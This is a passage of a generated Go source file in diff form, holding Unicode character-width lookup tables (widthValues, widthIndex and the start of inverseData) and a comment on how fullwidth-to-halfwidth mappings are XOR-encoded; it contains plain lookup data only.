0x4000, 0x1753: 0x4000, 0x1754: 0x4000, 0x1755: 0x4000, 0x1756: 0x4000, 0x1757: 0x4000, + 0x1758: 0x4000, 0x1759: 0x4000, 0x175a: 0x4000, 0x175b: 0x4000, 0x175c: 0x4000, 0x175d: 0x4000, + 0x175e: 0x4000, 0x175f: 0x4000, 0x1760: 0x4000, 0x1761: 0x4000, 0x1762: 0x4000, 0x1763: 0x4000, + 0x1764: 0x4000, 0x1765: 0x4000, 0x1766: 0x4000, 0x1767: 0x4000, + 0x177a: 0x4000, + // Block 0x5e, offset 0x1780 + 0x1795: 0x4000, 0x1796: 0x4000, + 0x17a4: 0x4000, + // Block 0x5f, offset 0x17c0 + 0x17fb: 0x4000, + 0x17fc: 0x4000, 0x17fd: 0x4000, 0x17fe: 0x4000, 0x17ff: 0x4000, + // Block 0x60, offset 0x1800 + 0x1800: 0x4000, 0x1801: 0x4000, 0x1802: 0x4000, 0x1803: 0x4000, 0x1804: 0x4000, 0x1805: 0x4000, + 0x1806: 0x4000, 0x1807: 0x4000, 0x1808: 0x4000, 0x1809: 0x4000, 0x180a: 0x4000, 0x180b: 0x4000, + 0x180c: 0x4000, 0x180d: 0x4000, 0x180e: 0x4000, 0x180f: 0x4000, + // Block 0x61, offset 0x1840 + 0x1840: 0x4000, 0x1841: 0x4000, 0x1842: 0x4000, 0x1843: 0x4000, 0x1844: 0x4000, 0x1845: 0x4000, + 0x184c: 0x4000, 0x1850: 0x4000, 0x1851: 0x4000, + 0x1852: 0x4000, 0x1855: 0x4000, 0x1856: 0x4000, 0x1857: 0x4000, + 0x185c: 0x4000, 0x185d: 0x4000, + 0x185e: 0x4000, 0x185f: 0x4000, + 0x186b: 0x4000, 0x186c: 0x4000, + 0x1874: 0x4000, 0x1875: 0x4000, + 0x1876: 0x4000, 0x1877: 0x4000, 0x1878: 0x4000, 0x1879: 0x4000, 0x187a: 0x4000, 0x187b: 0x4000, + 0x187c: 0x4000, + // Block 0x62, offset 0x1880 + 0x18a0: 0x4000, 0x18a1: 0x4000, 0x18a2: 0x4000, 0x18a3: 0x4000, + 0x18a4: 0x4000, 0x18a5: 0x4000, 0x18a6: 0x4000, 0x18a7: 0x4000, 0x18a8: 0x4000, 0x18a9: 0x4000, + 0x18aa: 0x4000, 0x18ab: 0x4000, + 0x18b0: 0x4000, + // Block 0x63, offset 0x18c0 + 0x18cc: 0x4000, 0x18cd: 0x4000, 0x18ce: 0x4000, 0x18cf: 0x4000, 0x18d0: 0x4000, 0x18d1: 0x4000, + 0x18d2: 0x4000, 0x18d3: 0x4000, 0x18d4: 0x4000, 0x18d5: 0x4000, 0x18d6: 0x4000, 0x18d7: 0x4000, + 0x18d8: 0x4000, 0x18d9: 0x4000, 0x18da: 0x4000, 0x18db: 0x4000, 0x18dc: 0x4000, 0x18dd: 0x4000, + 0x18de: 0x4000, 0x18df: 0x4000, 0x18e0: 0x4000, 0x18e1: 0x4000, 0x18e2: 0x4000, 0x18e3: 0x4000, + 0x18e4: 0x4000, 0x18e5: 0x4000, 0x18e6: 0x4000, 0x18e7: 0x4000, 0x18e8: 0x4000, 0x18e9: 0x4000, + 0x18ea: 0x4000, 0x18eb: 0x4000, 0x18ec: 0x4000, 0x18ed: 0x4000, 0x18ee: 0x4000, 0x18ef: 0x4000, + 0x18f0: 0x4000, 0x18f1: 0x4000, 0x18f2: 0x4000, 0x18f3: 0x4000, 0x18f4: 0x4000, 0x18f5: 0x4000, + 0x18f6: 0x4000, 0x18f7: 0x4000, 0x18f8: 0x4000, 0x18f9: 0x4000, 0x18fa: 0x4000, + 0x18fc: 0x4000, 0x18fd: 0x4000, 0x18fe: 0x4000, 0x18ff: 0x4000, + // Block 0x64, offset 0x1900 + 0x1900: 0x4000, 0x1901: 0x4000, 0x1902: 0x4000, 0x1903: 0x4000, 0x1904: 0x4000, 0x1905: 0x4000, + 0x1907: 0x4000, 0x1908: 0x4000, 0x1909: 0x4000, 0x190a: 0x4000, 0x190b: 0x4000, + 0x190c: 0x4000, 0x190d: 0x4000, 0x190e: 0x4000, 0x190f: 0x4000, 0x1910: 0x4000, 0x1911: 0x4000, + 0x1912: 0x4000, 0x1913: 0x4000, 0x1914: 0x4000, 0x1915: 0x4000, 0x1916: 0x4000, 0x1917: 0x4000, + 0x1918: 0x4000, 0x1919: 0x4000, 0x191a: 0x4000, 0x191b: 0x4000, 0x191c: 0x4000, 0x191d: 0x4000, + 0x191e: 0x4000, 0x191f: 0x4000, 0x1920: 0x4000, 0x1921: 0x4000, 0x1922: 0x4000, 0x1923: 0x4000, + 0x1924: 0x4000, 0x1925: 0x4000, 0x1926: 0x4000, 0x1927: 0x4000, 0x1928: 0x4000, 0x1929: 0x4000, + 0x192a: 0x4000, 0x192b: 0x4000, 0x192c: 0x4000, 0x192d: 0x4000, 0x192e: 0x4000, 0x192f: 0x4000, + 0x1930: 0x4000, 0x1931: 0x4000, 0x1932: 0x4000, 0x1933: 0x4000, 0x1934: 0x4000, 0x1935: 0x4000, + 0x1936: 0x4000, 0x1937: 0x4000, 0x1938: 0x4000, 0x1939: 0x4000, 0x193a: 0x4000, 0x193b: 0x4000, + 0x193c: 0x4000, 0x193d: 0x4000, 0x193e: 0x4000, 0x193f: 0x4000, + // Block 0x65, offset 0x1940 + 0x1970: 0x4000, 0x1971: 0x4000, 0x1972: 0x4000, 0x1973: 0x4000, 0x1974: 0x4000, 0x1975: 0x4000, + 0x1976: 0x4000, 0x1977: 0x4000, 0x1978: 0x4000, 0x1979: 0x4000, 0x197a: 0x4000, 0x197b: 0x4000, + 0x197c: 0x4000, + // Block 0x66, offset 0x1980 + 0x1980: 0x4000, 0x1981: 0x4000, 0x1982: 0x4000, 0x1983: 0x4000, 0x1984: 0x4000, 0x1985: 0x4000, + 0x1986: 0x4000, 0x1987: 0x4000, 0x1988: 0x4000, + 0x1990: 0x4000, 0x1991: 0x4000, + 0x1992: 0x4000, 0x1993: 0x4000, 0x1994: 0x4000, 0x1995: 0x4000, 0x1996: 0x4000, 0x1997: 0x4000, + 0x1998: 0x4000, 0x1999: 0x4000, 0x199a: 0x4000, 0x199b: 0x4000, 0x199c: 0x4000, 0x199d: 0x4000, + 0x199e: 0x4000, 0x199f: 0x4000, 0x19a0: 0x4000, 0x19a1: 0x4000, 0x19a2: 0x4000, 0x19a3: 0x4000, + 0x19a4: 0x4000, 0x19a5: 0x4000, 0x19a6: 0x4000, 0x19a7: 0x4000, 0x19a8: 0x4000, 0x19a9: 0x4000, + 0x19aa: 0x4000, 0x19ab: 0x4000, 0x19ac: 0x4000, 0x19ad: 0x4000, 0x19ae: 0x4000, 0x19af: 0x4000, + 0x19b0: 0x4000, 0x19b1: 0x4000, 0x19b2: 0x4000, 0x19b3: 0x4000, 0x19b4: 0x4000, 0x19b5: 0x4000, + 0x19b6: 0x4000, 0x19b7: 0x4000, 0x19b8: 0x4000, 0x19b9: 0x4000, 0x19ba: 0x4000, 0x19bb: 0x4000, + 0x19bc: 0x4000, 0x19bd: 0x4000, 0x19bf: 0x4000, + // Block 0x67, offset 0x19c0 + 0x19c0: 0x4000, 0x19c1: 0x4000, 0x19c2: 0x4000, 0x19c3: 0x4000, 0x19c4: 0x4000, 0x19c5: 0x4000, + 0x19ce: 0x4000, 0x19cf: 0x4000, 0x19d0: 0x4000, 0x19d1: 0x4000, + 0x19d2: 0x4000, 0x19d3: 0x4000, 0x19d4: 0x4000, 0x19d5: 0x4000, 0x19d6: 0x4000, 0x19d7: 0x4000, + 0x19d8: 0x4000, 0x19d9: 0x4000, 0x19da: 0x4000, 0x19db: 0x4000, + 0x19e0: 0x4000, 0x19e1: 0x4000, 0x19e2: 0x4000, 0x19e3: 0x4000, + 0x19e4: 0x4000, 0x19e5: 0x4000, 0x19e6: 0x4000, 0x19e7: 0x4000, 0x19e8: 0x4000, + 0x19f0: 0x4000, 0x19f1: 0x4000, 0x19f2: 0x4000, 0x19f3: 0x4000, 0x19f4: 0x4000, 0x19f5: 0x4000, + 0x19f6: 0x4000, 0x19f7: 0x4000, 0x19f8: 0x4000, + // Block 0x68, offset 0x1a00 + 0x1a00: 0x2000, 0x1a01: 0x2000, 0x1a02: 0x2000, 0x1a03: 0x2000, 0x1a04: 0x2000, 0x1a05: 0x2000, + 0x1a06: 0x2000, 0x1a07: 0x2000, 0x1a08: 0x2000, 0x1a09: 0x2000, 0x1a0a: 0x2000, 0x1a0b: 0x2000, + 0x1a0c: 0x2000, 0x1a0d: 0x2000, 0x1a0e: 0x2000, 0x1a0f: 0x2000, 0x1a10: 0x2000, 0x1a11: 0x2000, + 0x1a12: 0x2000, 0x1a13: 0x2000, 0x1a14: 0x2000, 0x1a15: 0x2000, 0x1a16: 0x2000, 0x1a17: 0x2000, + 0x1a18: 0x2000, 0x1a19: 0x2000, 0x1a1a: 0x2000, 0x1a1b: 0x2000, 0x1a1c: 0x2000, 0x1a1d: 0x2000, + 0x1a1e: 0x2000, 0x1a1f: 0x2000, 0x1a20: 0x2000, 0x1a21: 0x2000, 0x1a22: 0x2000, 0x1a23: 0x2000, + 0x1a24: 0x2000, 0x1a25: 0x2000, 0x1a26: 0x2000, 0x1a27: 0x2000, 0x1a28: 0x2000, 0x1a29: 0x2000, + 0x1a2a: 0x2000, 0x1a2b: 0x2000, 0x1a2c: 0x2000, 0x1a2d: 0x2000, 0x1a2e: 0x2000, 0x1a2f: 0x2000, + 0x1a30: 0x2000, 0x1a31: 0x2000, 0x1a32: 0x2000, 0x1a33: 0x2000, 0x1a34: 0x2000, 0x1a35: 0x2000, + 0x1a36: 0x2000, 0x1a37: 0x2000, 0x1a38: 0x2000, 0x1a39: 0x2000, 0x1a3a: 0x2000, 0x1a3b: 0x2000, + 0x1a3c: 0x2000, 0x1a3d: 0x2000, +} + +// widthIndex: 23 blocks, 1472 entries, 1472 bytes +// Block 0 is the zero block. +var widthIndex = [1472]uint8{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x01, 0xc3: 0x02, 0xc4: 0x03, 0xc5: 0x04, 0xc7: 0x05, + 0xc9: 0x06, 0xcb: 0x07, 0xcc: 0x08, 0xcd: 0x09, 0xce: 0x0a, 0xcf: 0x0b, + 0xd0: 0x0c, 0xd1: 0x0d, + 0xe1: 0x02, 0xe2: 0x03, 0xe3: 0x04, 0xe4: 0x05, 0xe5: 0x06, 0xe6: 0x06, 0xe7: 0x06, + 0xe8: 0x06, 0xe9: 0x06, 0xea: 0x07, 0xeb: 0x06, 0xec: 0x06, 0xed: 0x08, 0xee: 0x09, 0xef: 0x0a, + 0xf0: 0x10, 0xf3: 0x13, 0xf4: 0x14, + // Block 0x4, offset 0x100 + 0x104: 0x0e, 0x105: 0x0f, + // Block 0x5, offset 0x140 + 0x140: 0x10, 0x141: 0x11, 0x142: 0x12, 0x144: 0x13, 0x145: 0x14, 0x146: 0x15, 0x147: 0x16, + 0x148: 0x17, 0x149: 0x18, 0x14a: 0x19, 0x14c: 0x1a, 0x14f: 0x1b, + 0x151: 0x1c, 0x152: 0x08, 0x153: 0x1d, 0x154: 0x1e, 0x155: 0x1f, 0x156: 0x20, 0x157: 0x21, + 0x158: 0x22, 0x159: 0x23, 0x15a: 0x24, 0x15b: 0x25, 0x15c: 0x26, 0x15d: 0x27, 0x15e: 0x28, 0x15f: 0x29, + 0x166: 0x2a, + 0x16c: 0x2b, 0x16d: 0x2c, + 0x17a: 0x2d, 0x17b: 0x2e, 0x17c: 0x0e, 0x17d: 0x0e, 0x17e: 0x0e, 0x17f: 0x2f, + // Block 0x6, offset 0x180 + 0x180: 0x30, 0x181: 0x31, 0x182: 0x32, 0x183: 0x33, 0x184: 0x34, 0x185: 0x35, 0x186: 0x36, 0x187: 0x37, + 0x188: 0x38, 0x189: 0x39, 0x18a: 0x0e, 0x18b: 0x0e, 0x18c: 0x0e, 0x18d: 0x0e, 0x18e: 0x0e, 0x18f: 0x0e, + 0x190: 0x0e, 0x191: 0x0e, 0x192: 0x0e, 0x193: 0x0e, 0x194: 0x0e, 0x195: 0x0e, 0x196: 0x0e, 0x197: 0x0e, + 0x198: 0x0e, 0x199: 0x0e, 0x19a: 0x0e, 0x19b: 0x0e, 0x19c: 0x0e, 0x19d: 0x0e, 0x19e: 0x0e, 0x19f: 0x0e, + 0x1a0: 0x0e, 0x1a1: 0x0e, 0x1a2: 0x0e, 0x1a3: 0x0e, 0x1a4: 0x0e, 0x1a5: 0x0e, 0x1a6: 0x0e, 0x1a7: 0x0e, + 0x1a8: 0x0e, 0x1a9: 0x0e, 0x1aa: 0x0e, 0x1ab: 0x0e, 0x1ac: 0x0e, 0x1ad: 0x0e, 0x1ae: 0x0e, 0x1af: 0x0e, + 0x1b0: 0x0e, 0x1b1: 0x0e, 0x1b2: 0x0e, 0x1b3: 0x0e, 0x1b4: 0x0e, 0x1b5: 0x0e, 0x1b6: 0x0e, 0x1b7: 0x0e, + 0x1b8: 0x0e, 0x1b9: 0x0e, 0x1ba: 0x0e, 0x1bb: 0x0e, 0x1bc: 0x0e, 0x1bd: 0x0e, 0x1be: 0x0e, 0x1bf: 0x0e, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x0e, 0x1c1: 0x0e, 0x1c2: 0x0e, 0x1c3: 0x0e, 0x1c4: 0x0e, 0x1c5: 0x0e, 0x1c6: 0x0e, 0x1c7: 0x0e, + 0x1c8: 0x0e, 0x1c9: 0x0e, 0x1ca: 0x0e, 0x1cb: 0x0e, 0x1cc: 0x0e, 0x1cd: 0x0e, 0x1ce: 0x0e, 0x1cf: 0x0e, + 0x1d0: 0x0e, 0x1d1: 0x0e, 0x1d2: 0x0e, 0x1d3: 0x0e, 0x1d4: 0x0e, 0x1d5: 0x0e, 0x1d6: 0x0e, 0x1d7: 0x0e, + 0x1d8: 0x0e, 0x1d9: 0x0e, 0x1da: 0x0e, 0x1db: 0x0e, 0x1dc: 0x0e, 0x1dd: 0x0e, 0x1de: 0x0e, 0x1df: 0x0e, + 0x1e0: 0x0e, 0x1e1: 0x0e, 0x1e2: 0x0e, 0x1e3: 0x0e, 0x1e4: 0x0e, 0x1e5: 0x0e, 0x1e6: 0x0e, 0x1e7: 0x0e, + 0x1e8: 0x0e, 0x1e9: 0x0e, 0x1ea: 0x0e, 0x1eb: 0x0e, 0x1ec: 0x0e, 0x1ed: 0x0e, 0x1ee: 0x0e, 0x1ef: 0x0e, + 0x1f0: 0x0e, 0x1f1: 0x0e, 0x1f2: 0x0e, 0x1f3: 0x0e, 0x1f4: 0x0e, 0x1f5: 0x0e, 0x1f6: 0x0e, + 0x1f8: 0x0e, 0x1f9: 0x0e, 0x1fa: 0x0e, 0x1fb: 0x0e, 0x1fc: 0x0e, 0x1fd: 0x0e, 0x1fe: 0x0e, 0x1ff: 0x0e, + // Block 0x8, offset 0x200 + 0x200: 0x0e, 0x201: 0x0e, 0x202: 0x0e, 0x203: 0x0e, 0x204: 0x0e, 0x205: 0x0e, 0x206: 0x0e, 0x207: 0x0e, + 0x208: 0x0e, 0x209: 0x0e, 0x20a: 0x0e, 0x20b: 0x0e, 0x20c: 0x0e, 0x20d: 0x0e, 0x20e: 0x0e, 0x20f: 0x0e, + 0x210: 0x0e, 0x211: 0x0e, 0x212: 0x0e, 0x213: 0x0e, 0x214: 0x0e, 0x215: 0x0e, 0x216: 0x0e, 0x217: 0x0e, + 0x218: 0x0e, 0x219: 0x0e, 0x21a: 0x0e, 0x21b: 0x0e, 0x21c: 0x0e, 0x21d: 0x0e, 0x21e: 0x0e, 0x21f: 0x0e, + 0x220: 0x0e, 0x221: 0x0e, 0x222: 0x0e, 0x223: 0x0e, 0x224: 0x0e, 0x225: 0x0e, 0x226: 0x0e, 0x227: 0x0e, + 0x228: 0x0e, 0x229: 0x0e, 0x22a: 0x0e, 0x22b: 0x0e, 0x22c: 0x0e, 0x22d: 0x0e, 0x22e: 0x0e, 0x22f: 0x0e, + 0x230: 0x0e, 0x231: 0x0e, 0x232: 0x0e, 0x233: 0x0e, 0x234: 0x0e, 0x235: 0x0e, 0x236: 0x0e, 0x237: 0x0e, + 0x238: 0x0e, 0x239: 0x0e, 0x23a: 0x0e, 0x23b: 0x0e, 0x23c: 0x0e, 0x23d: 0x0e, 0x23e: 0x0e, 0x23f: 0x0e, + // Block 0x9, offset 0x240 + 0x240: 0x0e, 0x241: 0x0e, 0x242: 0x0e, 0x243: 0x0e, 0x244: 0x0e, 0x245: 0x0e, 0x246: 0x0e, 0x247: 0x0e, + 0x248: 0x0e, 0x249: 0x0e, 0x24a: 0x0e, 0x24b: 0x0e, 0x24c: 0x0e, 0x24d: 0x0e, 0x24e: 0x0e, 0x24f: 0x0e, + 0x250: 0x0e, 0x251: 0x0e, 0x252: 0x3a, 0x253: 0x3b, + 0x265: 0x3c, + 0x270: 0x0e, 0x271: 0x0e, 0x272: 0x0e, 0x273: 0x0e, 0x274: 0x0e, 0x275: 0x0e, 0x276: 0x0e, 0x277: 0x0e, + 0x278: 0x0e, 0x279: 0x0e, 0x27a: 0x0e, 0x27b: 0x0e, 0x27c: 0x0e, 0x27d: 0x0e, 0x27e: 0x0e, 0x27f: 0x0e, + // Block 0xa, offset 0x280 + 0x280: 0x0e, 0x281: 0x0e, 0x282: 0x0e, 0x283: 0x0e, 0x284: 0x0e, 0x285: 0x0e, 0x286: 0x0e, 0x287: 0x0e, + 0x288: 0x0e, 0x289: 0x0e, 0x28a: 0x0e, 0x28b: 0x0e, 0x28c: 0x0e, 0x28d: 0x0e, 0x28e: 0x0e, 0x28f: 0x0e, + 0x290: 0x0e, 0x291: 0x0e, 0x292: 0x0e, 0x293: 0x0e, 0x294: 0x0e, 0x295: 0x0e, 0x296: 0x0e, 0x297: 0x0e, + 0x298: 0x0e, 0x299: 0x0e, 0x29a: 0x0e, 0x29b: 0x0e, 0x29c: 0x0e, 0x29d: 0x0e, 0x29e: 0x3d, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x08, 0x2c1: 0x08, 0x2c2: 0x08, 0x2c3: 0x08, 0x2c4: 0x08, 0x2c5: 0x08, 0x2c6: 0x08, 0x2c7: 0x08, + 0x2c8: 0x08, 0x2c9: 0x08, 0x2ca: 0x08, 0x2cb: 0x08, 0x2cc: 0x08, 0x2cd: 0x08, 0x2ce: 0x08, 0x2cf: 0x08, + 0x2d0: 0x08, 0x2d1: 0x08, 0x2d2: 0x08, 0x2d3: 0x08, 0x2d4: 0x08, 0x2d5: 0x08, 0x2d6: 0x08, 0x2d7: 0x08, + 0x2d8: 0x08, 0x2d9: 0x08, 0x2da: 0x08, 0x2db: 0x08, 0x2dc: 0x08, 0x2dd: 0x08, 0x2de: 0x08, 0x2df: 0x08, + 0x2e0: 0x08, 0x2e1: 0x08, 0x2e2: 0x08, 0x2e3: 0x08, 0x2e4: 0x08, 0x2e5: 0x08, 0x2e6: 0x08, 0x2e7: 0x08, + 0x2e8: 0x08, 0x2e9: 0x08, 0x2ea: 0x08, 0x2eb: 0x08, 0x2ec: 0x08, 0x2ed: 0x08, 0x2ee: 0x08, 0x2ef: 0x08, + 0x2f0: 0x08, 0x2f1: 0x08, 0x2f2: 0x08, 0x2f3: 0x08, 0x2f4: 0x08, 0x2f5: 0x08, 0x2f6: 0x08, 0x2f7: 0x08, + 0x2f8: 0x08, 0x2f9: 0x08, 0x2fa: 0x08, 0x2fb: 0x08, 0x2fc: 0x08, 0x2fd: 0x08, 0x2fe: 0x08, 0x2ff: 0x08, + // Block 0xc, offset 0x300 + 0x300: 0x08, 0x301: 0x08, 0x302: 0x08, 0x303: 0x08, 0x304: 0x08, 0x305: 0x08, 0x306: 0x08, 0x307: 0x08, + 0x308: 0x08, 0x309: 0x08, 0x30a: 0x08, 0x30b: 0x08, 0x30c: 0x08, 0x30d: 0x08, 0x30e: 0x08, 0x30f: 0x08, + 0x310: 0x08, 0x311: 0x08, 0x312: 0x08, 0x313: 0x08, 0x314: 0x08, 0x315: 0x08, 0x316: 0x08, 0x317: 0x08, + 0x318: 0x08, 0x319: 0x08, 0x31a: 0x08, 0x31b: 0x08, 0x31c: 0x08, 0x31d: 0x08, 0x31e: 0x08, 0x31f: 0x08, + 0x320: 0x08, 0x321: 0x08, 0x322: 0x08, 0x323: 0x08, 0x324: 0x0e, 0x325: 0x0e, 0x326: 0x0e, 0x327: 0x0e, + 0x328: 0x0e, 0x329: 0x0e, 0x32a: 0x0e, 0x32b: 0x0e, + 0x338: 0x3e, 0x339: 0x3f, 0x33c: 0x40, 0x33d: 0x41, 0x33e: 0x42, 0x33f: 0x43, + // Block 0xd, offset 0x340 + 0x37f: 0x44, + // Block 0xe, offset 0x380 + 0x380: 0x0e, 0x381: 0x0e, 0x382: 0x0e, 0x383: 0x0e, 0x384: 0x0e, 0x385: 0x0e, 0x386: 0x0e, 0x387: 0x0e, + 0x388: 0x0e, 0x389: 0x0e, 0x38a: 0x0e, 0x38b: 0x0e, 0x38c: 0x0e, 0x38d: 0x0e, 0x38e: 0x0e, 0x38f: 0x0e, + 0x390: 0x0e, 0x391: 0x0e, 0x392: 0x0e, 0x393: 0x0e, 0x394: 0x0e, 0x395: 0x0e, 0x396: 0x0e, 0x397: 0x0e, + 0x398: 0x0e, 0x399: 0x0e, 0x39a: 0x0e, 0x39b: 0x0e, 0x39c: 0x0e, 0x39d: 0x0e, 0x39e: 0x0e, 0x39f: 0x45, + 0x3a0: 0x0e, 0x3a1: 0x0e, 0x3a2: 0x0e, 0x3a3: 0x0e, 0x3a4: 0x0e, 0x3a5: 0x0e, 0x3a6: 0x0e, 0x3a7: 0x0e, + 0x3a8: 0x0e, 0x3a9: 0x0e, 0x3aa: 0x0e, 0x3ab: 0x0e, 0x3ac: 0x0e, 0x3ad: 0x0e, 0x3ae: 0x0e, 0x3af: 0x0e, + 0x3b0: 0x0e, 0x3b1: 0x0e, 0x3b2: 0x0e, 0x3b3: 0x46, 0x3b4: 0x47, + // Block 0xf, offset 0x3c0 + 0x3ff: 0x48, + // Block 0x10, offset 0x400 + 0x400: 0x0e, 0x401: 0x0e, 0x402: 0x0e, 0x403: 0x0e, 0x404: 0x49, 0x405: 0x4a, 0x406: 0x0e, 0x407: 0x0e, + 0x408: 0x0e, 0x409: 0x0e, 0x40a: 0x0e, 0x40b: 0x4b, + // Block 0x11, offset 0x440 + 0x440: 0x4c, 0x443: 0x4d, 0x444: 0x4e, 0x445: 0x4f, 0x446: 0x50, + 0x448: 0x51, 0x449: 0x52, 0x44c: 0x53, 0x44d: 0x54, 0x44e: 0x55, 0x44f: 0x56, + 0x450: 0x57, 0x451: 0x58, 0x452: 0x0e, 0x453: 0x59, 0x454: 0x5a, 0x455: 0x5b, 0x456: 0x5c, 0x457: 0x5d, + 0x458: 0x0e, 0x459: 0x5e, 0x45a: 0x0e, 0x45b: 0x5f, 0x45f: 0x60, + 0x464: 0x61, 0x465: 0x62, 0x466: 0x0e, 0x467: 0x0e, + 0x469: 0x63, 0x46a: 0x64, 0x46b: 0x65, + // Block 0x12, offset 0x480 + 0x496: 0x0b, 0x497: 0x06, + 0x498: 0x0c, 0x49a: 0x0d, 0x49b: 0x0e, 0x49f: 0x0f, + 0x4a0: 0x06, 0x4a1: 0x06, 0x4a2: 0x06, 0x4a3: 0x06, 0x4a4: 0x06, 0x4a5: 0x06, 0x4a6: 0x06, 0x4a7: 0x06, + 0x4a8: 0x06, 0x4a9: 0x06, 0x4aa: 0x06, 0x4ab: 0x06, 0x4ac: 0x06, 0x4ad: 0x06, 0x4ae: 0x06, 0x4af: 0x06, + 0x4b0: 0x06, 0x4b1: 0x06, 0x4b2: 0x06, 0x4b3: 0x06, 0x4b4: 0x06, 0x4b5: 0x06, 0x4b6: 0x06, 0x4b7: 0x06, + 0x4b8: 0x06, 0x4b9: 0x06, 0x4ba: 0x06, 0x4bb: 0x06, 0x4bc: 0x06, 0x4bd: 0x06, 0x4be: 0x06, 0x4bf: 0x06, + // Block 0x13, offset 0x4c0 + 0x4c4: 0x08, 0x4c5: 0x08, 0x4c6: 0x08, 0x4c7: 0x09, + // Block 0x14, offset 0x500 + 0x500: 0x08, 0x501: 0x08, 0x502: 0x08, 0x503: 0x08, 0x504: 0x08, 0x505: 0x08, 0x506: 0x08, 0x507: 0x08, + 0x508: 0x08, 0x509: 0x08, 0x50a: 0x08, 0x50b: 0x08, 0x50c: 0x08, 0x50d: 0x08, 0x50e: 0x08, 0x50f: 0x08, + 0x510: 0x08, 0x511: 0x08, 0x512: 0x08, 0x513: 0x08, 0x514: 0x08, 0x515: 0x08, 0x516: 0x08, 0x517: 0x08, + 0x518: 0x08, 0x519: 0x08, 0x51a: 0x08, 0x51b: 0x08, 0x51c: 0x08, 0x51d: 0x08, 0x51e: 0x08, 0x51f: 0x08, + 0x520: 0x08, 0x521: 0x08, 0x522: 0x08, 0x523: 0x08, 0x524: 0x08, 0x525: 0x08, 0x526: 0x08, 0x527: 0x08, + 0x528: 0x08, 0x529: 0x08, 0x52a: 0x08, 0x52b: 0x08, 0x52c: 0x08, 0x52d: 0x08, 0x52e: 0x08, 0x52f: 0x08, + 0x530: 0x08, 0x531: 0x08, 0x532: 0x08, 0x533: 0x08, 0x534: 0x08, 0x535: 0x08, 0x536: 0x08, 0x537: 0x08, + 0x538: 0x08, 0x539: 0x08, 0x53a: 0x08, 0x53b: 0x08, 0x53c: 0x08, 0x53d: 0x08, 0x53e: 0x08, 0x53f: 0x66, + // Block 0x15, offset 0x540 + 0x560: 0x11, + 0x570: 0x09, 0x571: 0x09, 0x572: 0x09, 0x573: 0x09, 0x574: 0x09, 0x575: 0x09, 0x576: 0x09, 0x577: 0x09, + 0x578: 0x09, 0x579: 0x09, 0x57a: 0x09, 0x57b: 0x09, 0x57c: 0x09, 0x57d: 0x09, 0x57e: 0x09, 0x57f: 0x12, + // Block 0x16, offset 0x580 + 0x580: 0x09, 0x581: 0x09, 0x582: 0x09, 0x583: 0x09, 0x584: 0x09, 0x585: 0x09, 0x586: 0x09, 0x587: 0x09, + 0x588: 0x09, 0x589: 0x09, 0x58a: 0x09, 0x58b: 0x09, 0x58c: 0x09, 0x58d: 0x09, 0x58e: 0x09, 0x58f: 0x12, +} + +// inverseData contains 4-byte entries of the following format: +// +// <0 padding> +// +// The last byte of the UTF-8-encoded rune is xor-ed with the last byte of the +// UTF-8 encoding of the original rune. Mappings often have the following +// pattern: +// +// A -> A (U+FF21 -> U+0041) +// B -> B (U+FF22 -> U+0042) +// ... +// +// By xor-ing the last byte the same entry can be shared by many mappings. This +// reduces the total number of distinct entries by about two thirds. +// The resulting entry for the aforementioned mappings is +// +// { 0x01, 0xE0, 0x00, 0x00 } +// +// Using this entry to map U+FF21 (UTF-8 [EF BC A1]), we get +// +// E0 ^ A1 = 41. +// +// Similarly, for U+FF22 (UTF-8 [EF BC A2]), we get +// +// E0 ^ A2 = 42. +// +// Note that because of the xor-ing, the byte sequence stored in the entry is +// not valid UTF-8. +var inverseData = [150][4]byte{ + {0x00, 0x00, 0x00, 0x00}, + {0x03, 0xe3, 0x80, 0xa0}, + {0x03, 0xef, 0xbc, 0xa0}, + {0x03, 0xef, 0xbc, 0xe0}, + {0x03, 0xef, 0xbd, 0xe0}, + {0x03, 0xef, 0xbf, 0x02}, + {0x03, 0xef, 0xbf, 0x00}, + {0x03, 0xef, 0xbf, 0x0e}, + {0x03, 0xef, 0xbf, 0x0c}, + {0x03, 0xef, 0xbf, 0x0f}, + {0x03, 0xef, 0xbf, 0x39}, + {0x03, 0xef, 0xbf, 0x3b}, + {0x03, 0xef, 0xbf, 0x3f}, + {0x03, 0xef, 0xbf, 0x2a}, + {0x03, 0xef, 0xbf, 0x0d}, + {0x03, 0xef, 0xbf, 0x25}, + {0x03, 0xef, 0xbd, 0x1a}, + {0x03, 0xef, 0xbd, 0x26}, + {0x01, 0xa0, 0x00, 0x00}, + {0x03, 0xef, 0xbd, 0x25}, + {0x03, 0xef, 0xbd, 0x23}, + {0x03, 0xef, 0xbd, 0x2e}, + {0x03, 0xef, 0xbe, 0x07}, + {0x03, 0xef, 0xbe, 0x05}, + {0x03, 0xef, 0xbd, 0x06}, + {0x03, 0xef, 0xbd, 0x13}, + {0x03, 0xef, 0xbd, 0x0b}, + {0x03, 0xef, 0xbd, 0x16}, + {0x03, 0xef, 0xbd, 0x0c}, + {0x03, 0xef, 0xbd, 0x15}, + {0x03, 0xef, 0xbd, 0x0d}, + {0x03, 0xef, 0xbd, 0x1c}, + {0x03, 0xef, 0xbd, 0x02}, + {0x03, 0xef, 0xbd, 0x1f}, + {0x03, 0xef, 0xbd, 0x1d}, + {0x03, 0xef, 0xbd, 0x17}, + {0x03, 0xef, 0xbd, 0x08}, + {0x03, 0xef, 0xbd, 0x09}, + {0x03, 0xef, 0xbd, 0x0e}, + {0x03, 0xef, 0xbd, 0x04}, + {0x03, 0xef, 0xbd, 0x05}, + {0x03, 0xef, 0xbe, 0x3f}, + {0x03, 0xef, 0xbe, 0x00}, + {0x03, 0xef, 0xbd, 0x2c}, + {0x03, 0xef, 0xbe, 0x06}, + {0x03, 0xef, 0xbe, 0x0c}, + {0x03, 0xef, 0xbe, 0x0f}, + {0x03, 0xef, 0xbe, 0x0d}, + {0x03, 0xef, 0xbe, 0x0b}, + {0x03, 0xef, 0xbe, 0x19}, + {0x03, 0xef, 0xbe, 0x15}, + {0x03, 0xef, 0xbe, 0x11}, + {0x03, 0xef, 0xbe, 0x31}, + {0x03, 0xef, 0xbe, 0x33}, + {0x03, 0xef, 0xbd, 0x0f}, + {0x03, 0xef, 0xbe, 0x30}, + {0x03, 0xef, 0xbe, 0x3e}, + {0x03, 0xef, 0xbe, 0x32}, + {0x03, 0xef, 